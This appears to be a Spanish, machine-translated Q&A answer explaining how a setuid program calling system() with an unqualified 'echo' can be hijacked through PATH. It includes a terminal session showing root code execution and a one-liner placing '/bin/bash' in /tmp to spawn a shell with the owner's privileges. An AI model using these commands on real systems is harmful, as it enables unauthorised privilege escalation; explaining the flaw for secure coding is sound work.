Puede anular el PATH
variable para apuntar a un directorio con su versión personalizada de echo
y desde echo
se ejecuta usando env
, no se considera integrado.
Esto constituye una vulnerabilidad solo si el código se ejecuta como usuario privilegiado.
En el siguiente ejemplo, el archivo v.c contiene el código de la pregunta.
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
Tenga en cuenta que la configuración de la ID de usuario real, la ID de usuario efectiva y la ID de usuario establecida guardada mediante una llamada a setresuid()
antes de la llamada a system()
en el código vulnerable publicado en la pregunta permite explotar la vulnerabilidad incluso cuando solo la identificación de usuario efectiva se establece en una identificación de usuario privilegiada y la identificación de usuario real permanece sin privilegios (como es el caso, por ejemplo, cuando se confía en el bit de identificación de usuario establecido en un archivo como el anterior). Sin la llamada a setresuid()
el shell ejecutado por system()
restablecería la ID de usuario efectiva de nuevo a la ID de usuario real, lo que haría que el exploit no fuera efectivo. Sin embargo, en el caso de que el código vulnerable se ejecute con la ID de usuario real de un usuario privilegiado, system()
llamar solo es suficiente. Citando sh
página man:
Si el shell se inicia con la identificación de usuario (grupo) efectiva que no es igual a la identificación de usuario (grupo) real, y no se proporciona la opción -p, no se leen los archivos de inicio, las funciones de shell no se heredan del entorno, la variable SHELLOPTS , si aparece en el entorno, se ignora y el ID de usuario efectivo se establece en el ID de usuario real. Si se proporciona la opción -p en la invocación, el comportamiento de inicio es el mismo, pero la identificación de usuario efectiva no se restablece.
Además, tenga en cuenta que setresuid()
no es portátil, pero setuid()
o setreuid()
también se puede utilizar con el mismo efecto.
bueno, en realidad, en la llamada a la función del sistema, puede meterse con el echo
comando. Por ejemplo, si ejecuta el siguiente código:
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
obtendrá un shell con el permiso del propietario del archivo